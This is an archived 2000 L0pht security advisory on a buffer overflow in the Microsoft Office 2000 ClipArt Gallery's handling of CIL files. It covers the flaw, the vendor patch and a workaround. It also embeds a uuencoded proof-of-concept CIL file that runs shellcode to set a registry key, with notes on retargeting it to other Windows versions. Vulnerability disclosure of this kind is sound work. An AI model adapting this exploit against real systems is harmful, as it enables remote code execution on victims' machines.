Lucene search
DildogPACKETSTORM:10140HistoryMar 09, 2000 - 12:00 a.m.
ms-clipart.txt
2000-03-0900:00:00
Dildog
packetstormsecurity.com
27
`
@Stake Inc.
L0pht Research Labs
www.atstake.com www.L0pht.com
Security Advisory
Advisory Name: ClipArt Gallery Overflow
Advisory Released: 03/06/00
Application: Microsoft Office 2000
Severity: An attacker can seize control of a Windows 95, 98, NT,
or 2000 machine via any HTML source, including
Microsoft Outlook e-mail.
Status: Vendor patch available, workaround available
Author: [email protected]
WWW: http://www.l0pht.com/advisories.html
Overview:
ClipArt Gallery (CAG.EXE) that comes with Microsoft Office 2000
processes ".CIL" files for installation of clipart from the Internet. The
CIL format is not handled properly by CAG.EXE and one of the internal fields
in the file presents a buffer overflow condition, allowing arbitrary code to
be executed by an attacker. The attacker would place a malicious CIL file
on a website, or in an email, causing the target to import the CIL file. The
file will be opened without prompting as the CIL file format does not require
confirmation for open after download. This issue requires NO active scripting
to exploit, and is NOT regulated by Internet Explorer 'security zones'.
Description:
The ".CIL" file format is a compressed clip-art delivery format that
takes a Windows Metafile (WMF) or other image, stores it compressed, and
packages it with keywords and descriptive information. Amongst the various
fields in the CIL format are a few Unicode strings, one of which is the
filename to which the clipart is to be decompressed. If the filename specified
is extremely long, a stack overflow occurs after a Unicode to ANSI conversion,
copying the ANSI version of the buffer over the stack frame.
Unfortunately, the current fix for this issue is really only a
bandaid to the problem that Internet Explorer is used -for everything-
nowadays and that its HTML parser allows random file formats to be
downloaded and parsed without confirmation in a number of cases. One can
expect to see similar issues to this in the future.
Vendor provided fix:
Get your patch here:
http://www.microsoft.com/technet/security/bulletin/ms00-015.asp
Quick solution:
One may wish to go through all of the file type associations and
turn on the 'Confirm Open After Download' checkbox to ensure that suspect
file types are not automatically executed without user intervention.
To do this in Windows 2000, open up a standard Explorer window (such as
My Computer), and go to the Tools menu and choose "Folder Options". Under the
"File Types" tab, go to the "CIL" file type and click on it. Now press the
"Advanced" button. You will notice that the checkbox "Confirm Open After Download"
is unchecked. Check it, and then click OK.
Exploit:
This CIL file will create a harmless registry key when opened. The
registry key location is:
HKLM\Software\Microsoft\Windows:dword,SMACK!=0x00000001
This is proof of concept code only, but theoretically could be any executable
code desired. This code works only on Windows 2000, but shifting around a
few offsets yields code that works under Windows NT 4.0 and Win9X.
<--- cut here --->
begin 644 nt5.cil
M4P!0`$P`20!4`$,`20!,`#,```"T$```U\W&F@``XO_B__H+^@M>`@````!/
M50$`"0```T\(```#`#P!``````4````,`ML+VPL%````"P(`````!`````4!
M`0`$````!`$-``0````&`0$`!`````(!`@`%`````0+___\`!````"X!&``(
M````^@(`````````````!````"T!```%`````0+___\`!P```/P"````````
M```$````+0$!``@```#Z`@```0`!```````$````+0$"``0```#P`0``.`$`
M`"0#F@"=`H@!:@./`8@#AP&]`ZP!M`.2`:L#D@&/`W(!8P-^`;D"70'P`C@!
M3@,``;$#T0`7!*@`@`2(`.L$<`!7!6$`Q059`.`%60#_!5D`_P4``(T%`P`=
M!0X`K@0B`$$$/@#6`V$`;@.-``H#P`"J`OH`3@([`?@!@P&G`=$!7`$F`A<!
M?P+9`-T"HP!``W0`I@-,``\$+0![!!4`Z@0&`%D%___*!?__X`54`.`%60!S
M!6<`!@5^`)P$G``R!,,`RP/Q`&@#)P$(`V,!K0*F`5<"\`$&`AH"X`$8`N\!
M%@(B`C\"*0(O`SL",0-?`CD#=P(]`Q,#1@.$`T\#N0-A`_4#<P,6!'X#*028
M`VP$L0/'!,\#'07>`T<%\@-I!04$B04>!+8%&P3'!1T$U@4F!.`%X`7@!>`%
MOP/3!;\#MP7&`Y0%VP.*!>,#<P7L`UP%!`1-!1T$/`4W!#`%E@0E!:P$+07=
M!#4%[`1/!?H$7P4=!6P%005P!5$%7@5+!54%2`5`!40%-P4[!2X%,P48!2X%
M"P4>!?L$&P7K!`X%R`3Z!+L$\`2>!,@$=@1_!%8$3`0L!"$$*@0#!"$$W@/>
M`T,#U`,F`\(#Y0*Y`XD"X`-K`NP#60(*!'$"(`1E`EX$8`),!7\"3@6*`D$%
MD0*#!'\"7@1@`B$$90):!*`"4`6G`F4%FP)L!7\"X`6'`N`%_P$J!)4!#@1O
M`14$6P&S`V0!OP.'`;H#CP&T`Y(!O0.L`;\#GP'9`Z,!&`3F`04$\@'U`^$!
MY`/6`<T#U@&]`\<!JP/*`94#PP&$`\8!;P._`5L#R0&=`H@!"````/H"```(
M``@```````0````M`0``!````/`!`@`X`0``)0.:`)T"B`%J`X\!B`.'`;T#
MK`&T`Y(!JP.2`8\#<@%C`WX!N0)=`?`".`%.`P`!L0/1`!<$J`"`!(@`ZP1P
M`%<%80#%!5D`X`59`/\%60#_!0``C04#`!T%#@"N!"(`000^`-8#80!N`XT`
M"@/``*H"^@!.`CL!^`&#`:<!T0%<`28"%P%_`MD`W0*C`$`#=`"F`TP`#P0M
M`'L$%0#J!`8`607__\H%___@!50`X`59`',%9P`&!7X`G`2<`#($PP#+`_$`
M:`,G`0@#8P&M`J8!5P+P`08"&@+@`1@"[P$6`B("/P(I`B\#.P(Q`U\".0-W
M`CT#$P-&`X0#3P.Y`V$#]0-S`Q8$?@,I!)@#;`2Q`\<$SP,=!=X#1P7R`VD%
M!02)!1X$M@4;!,<%'036!28$X`7@!>`%X`6_`],%OP.W!<8#E`7;`XH%XP-S
M!>P#7`4$!$T%'00\!3<$,`66!"4%K`0M!=T$-07L!$\%^@1?!1T%;`5!!7`%
M405>!4L%505(!4`%1`4W!3L%+@4S!1@%+@4+!1X%^P0;!>L$#@7(!/H$NP3P
M!)X$R`1V!'\$5@1,!"P$(00J!`,$(03>`]X#0P/4`R8#P@/E`KD#B0+@`VL"
M[`-9`@H$<0(@!&4"7@1@`DP%?P).!8H"0061`H,$?P)>!&`"(01E`EH$H`)0
M!:<"906;`FP%?P+@!8<"X`7_`2H$E0$.!&\!%01;`;,#9`&_`X<!N@./`;0#
MD@&]`ZP!OP.?`=D#HP$8!.8!!03R`?4#X0'D`]8!S0/6`;T#QP&K`\H!E0/#
M`80#Q@%O`[\!6P/)`9T"B`$(````^@(```$``0``````!````"T!`@`$````
M\`$``(X````D`T4`_P6)`M$&H@+<!L<"]`;9`CX'\P([!PT#&`>G`P@'X0/W
M!B($]P9L!/<&L`3P!LP$YP;J!-P&#`7.!A$%Q`8<!;@&*P6N!BT%I`8T!9T&
M0P64!DD%B@9,!74&505Z!BL%B`8*!84&[@2,!L8$CP:3!(4&:@1\!B\$9P8-
M!&P&``1L!NP#3`;&`_\%O@/_!>`%:`?@!5H'R@5L!Y8%E`<D!:,'P`2Z!Q8$
MN0?>`Z8'[email protected]!]4"IP>S`J,'J0+'!ZL"S`?%`J<'LP*L!]4"T`?T`N('YP+@
M!Z`"G`BS`NP(N0+G"*`"D0B=`MD'=`+`!WH"F@=U`HH'7P)^!U`"6P=!`B\'
M0@(8!RP"[@8\`O\%!`+_!8D""````/H"```(``@```````0````M`0``!```
M`/`!`@".````)0-%`/\%B0+1!J("W`;'`O0&V0(^!_,".P<-`Q@'IP,(!^$#
M]P8B!/<&;`3W!K`$\`;,!.<&Z@3<!@P%S@81!<0&'`6X!BL%K@8M!:0&-`6=
M!D,%E`9)!8H&3`5U!E4%>@8K!8@&"@6%!NX$C`;&!(\&DP2%!FH$?`8O!&<&
M#01L!@`$;`;L`TP&Q@/_!;X#_P7@!6@'X`5:!\H%;`>6!90')`6C!\`$N@<6
M!+D'[email protected]!TX#K`?5`J<'LP*C!ZD"QP>K`LP'Q0*G![,"K`?5`M`']`+B!^<"
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
M50#\!0@```#Z`@``"``(```````$````+0$```0```#P`0(`#@```"4#!0!5
M`/P%5`#@!28$X`4I!/P%50#\!0@```#Z`@```0`!```````$````+0$"``0`
M``#P`0``#@```"0#!0#@!;\#X`6'`O\%B0+_!;X#X`6_`P@```#Z`@``"``(
M```````$````+0$```0```#P`0(`#@```"4#!0#@!;\#X`6'`O\%B0+_!;X#
MX`6_`P@```#Z`@```0`!```````$````+0$"``0```#P`0``#@```"0#!0#@
M!?\!X`59`/\%60#_!00"X`7_`0@```#Z`@``"``(```````$````+0$```0`
M``#P`0(`#@```"4#!0#@!?\!X`59`/\%60#_!00"X`7_`0@```#Z`@```0`!
M```````$````+0$"``0```#P`0``#@```"0#!0!O!_P%:`?@!8X+X`6."_P%
M;P?\!0@```#Z`@``"``(```````$````+0$```0```#P`0(`#@```"4#!0!O
M!_P%:`?@!8X+X`6."_P%;P?\!0,``````&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F
M`&8`2P!^`'T`9P!!`$$`00`M`"T`+0`M`"T`9@!F`)``ZP`6`"P`$`!]`&<`
M*``0`'T`9P`D`!``?0!G`!@`[P"_`/\`D`"0`)``D`#K``4`Z`#Y`/\`_P#_
M`%X`@0#&`.4`_P#_`/\`D`"0`)``5@!8`($`Z`!\`/\`_P#_`%``]@`0`$``
M9@"!`#@``P`#`'4`]@!?`)``D`#_`#8`60!6`%<`N`#]`/\`_P!_`/<`T`!0
M`/\`$0"0`/\`-@!:`)``,P#)`$D`,P#``/(`K@"0`#,`R0`"``\`40!'`%<`
M`P#Y`)``N`#\`/\`_P#_`/<`V`!0`#,`P`!0`%<`4@`#`$8`!`#_`!``5@`#
M`$8`"`#_`!``4``S`,```P!&``P`]P#8`/\`$`"0`*P`L`"Y`*L`J`"^`*T`
MN@"C`+(`M@"\`*T`L`"L`+``N0"K`*,`J`"V`+$`NP"P`*@`K`#_`/L`_@#_
M`/\`_P"L`+(`O@"\`+0`W@#_``,``P`#`&8`9@!F`&8`9@!F````9@!F`&8`
M9@!F`&8`9@```&8`9@!F`&8`9@!F`&8```!F`&8`9@!F`&8`9@!F`&8`9@!F
)`&8`9@``````
`
end
<--- cut here --->
[email protected]
[ For more advisories check out http://www.l0pht.com/advisories.html ]
L-ZERO-P-H-T
`